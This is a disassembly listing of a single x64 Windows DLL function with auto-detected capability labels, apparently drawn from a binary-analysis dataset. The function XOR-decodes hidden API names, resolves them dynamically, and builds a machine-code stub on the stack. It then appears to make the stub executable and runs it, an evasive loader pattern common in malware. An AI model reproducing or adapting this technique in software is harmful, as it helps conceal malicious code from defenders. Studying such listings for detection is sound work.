Function at 0x1800012a0
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov eax, 0x5a4d
mov rbx, rcx
cmp word [rcx], ax
je 0x1800012df
xor esi, esi
jmp 0x1800012f4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
je 0x1800012f0
xor esi, esi
jmp 0x1800012f4
mov esi, dword [rax + rcx + 0x50]
mov eax, dword [0x18000b3f0]
xor ecx, ecx
movups xmm0, xmmword [str.iC_XZYIlRYJqY]
mov edi, dword [0x18000d088]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x18000b3f4]
mov byte [rsp + 0x64], al
movaps xmmword [rsp + 0x1a0], xmm6
movups xmmword [rsp + 0x50], xmm0
cmp edi, 2
jl 0x18000146c
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rsp + 0x50]
movdqa xmm5, xmmword [0x18000b5e0]
movdqa xmm4, xmmword [0x18000b640]
movdqa xmm6, xmmword [0x18000b600]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x10
jl 0x180001360
cmp ecx, 0x15
jge 0x1800014b1
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x15
jl 0x180001480
cmp byte [0x18000b3d9], 0
movsd xmm0, qword [0x18000b3d0]
movzx eax, word [0x18000b3d8]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], ax
je 0x180001506
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
xor byte [rsp + 0x36], 0x39
xor byte [rsp + 0x37], 0x3a
xor byte [rsp + 0x38], 0x3b
xor byte [rsp + 0x39], 0x3c
mov byte [rsp + 0x30], 0x4e
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x1d8], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x180001935
cmp byte [0x18000b3cf], 0
movups xmm0, xmmword [str.iCtZ_WZ_OYkWM44__t__:0J_QZ_]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x18000b3c8]
movsd qword [rsp + 0x78], xmm0
je 0x1800016e7
cmp edi, 2
jl 0x1800016a9
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rsp + 0x68]
movdqa xmm5, xmmword [0x18000b5e0]
xor edx, edx
movdqa xmm4, xmmword [0x18000b640]
movdqa xmm6, xmmword [0x18000b600]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x1800015a0
jmp 0x1800016e7
lea r9, [rsp + 0x68]
xor r8d, r8d
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x18
jl 0x1800016b1
cmp byte [0x18000b3d9], 0
movsd xmm0, qword [0x18000b3d0]
movzx eax, word [0x18000b3d8]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x48], ax
je 0x18000173c
xor byte [rsp + 0x41], 0x34
xor byte [rsp + 0x42], 0x35
xor byte [rsp + 0x43], 0x36
xor byte [rsp + 0x44], 0x37
xor byte [rsp + 0x45], 0x38
xor byte [rsp + 0x46], 0x39
xor byte [rsp + 0x47], 0x3a
xor byte [rsp + 0x48], 0x3b
xor byte [rsp + 0x49], 0x3c
mov byte [rsp + 0x40], 0x4e
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x180001935
mov rcx, rsi
call fcn.180009078
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x244c894c
mov rdi, rax
mov dword [rbp - 0x6c], 0x44894c20
xor eax, eax
mov dword [rbp - 0x68], 0x89481824
mov rcx, rdi
mov word [rbp + 0x8d], ax
mov r8, rsi
mov byte [rbp + 0x8f], al
mov rdx, rbx
mov dword [rbp - 0x64], 0x48102454
mov dword [rbp - 0x60], 0x8244c89
mov dword [rbp - 0x5c], 0x83485756
mov dword [rbp - 0x58], 0x8b4838ec
mov dword [rbp - 0x54], 0x48582454
mov dword [rbp - 0x50], 0x50244c8b
mov dword [rbp - 0x4c], 0x702454ff
mov dword [rbp - 0x48], 0x74c08548
mov dword [rbp - 0x44], 0xebc03204
mov dword [rbp - 0x40], 0x44c74875
mov dword [rbp - 0x3c], 0x402824
mov dword [rbp - 0x38], 0xc7480000
mov dword [rbp - 0x34], 0x202444
mov dword [rbp - 0x30], 0x4c000020
mov dword [rbp - 0x2c], 0x60244c8d
mov dword [rbp - 0x28], 0x48c03345
mov dword [rbp - 0x24], 0x5824548d
mov dword [rbp - 0x20], 0x244c8b48
mov dword [rbp - 0x1c], 0x2454ff50
mov dword [rbp - 0x18], 0xc0854878
mov dword [rbp - 0x14], 0xc0320474
mov dword [rbp - 0x10], 0xc74844eb
mov dword [rbp - 0xc], 0x40282444
mov dword [rbp - 8], 0x48000000
mov dword [rbp - 4], 0x202444c7
mov dword [rbp], 0x1000
mov dword [rbp + 4], 0x244c8d4c
mov dword [rbp + 8], 0xc0334560
mov dword [rbp + 0xc], 0x24548d48
mov dword [rbp + 0x10], 0x4c8b4858
mov dword [rbp + 0x14], 0x54ff5024
mov dword [rbp + 0x18], 0x85487824
mov dword [rbp + 0x1c], 0x320474c0
mov dword [rbp + 0x20], 0x4813ebc0
mov dword [rbp + 0x24], 0x58247c8b
mov dword [rbp + 0x28], 0x24748b48
mov dword [rbp + 0x2c], 0x4c8b4868
mov dword [rbp + 0x30], 0xa4f36024
mov dword [rbp + 0x34], 0x834801b0
mov dword [rbp + 0x38], 0x5e5f38c4
mov byte [rbp + 0x3c], 0xc3
movups xmmword [rbp + 0x3d], xmm0
movups xmmword [rbp + 0x4d], xmm0
movups xmmword [rbp + 0x5d], xmm0
movups xmmword [rbp + 0x6d], xmm0
movups xmmword [rbp + 0x7d], xmm0
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], 0
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
call section..text
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], r14
mov r9, rdi
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call rax
mov r9, qword [rbp - 0x80]
lea rdx, [rbp - 0x70]
mov ebx, eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call section..text
mov rcx, rdi
call fcn.180009070
mov eax, ebx
jmp 0x180001937
xor eax, eax
movaps xmm6, xmmword [rsp + 0x1a0]
mov r14, qword [rsp + 0x1d8]
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.180009050
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret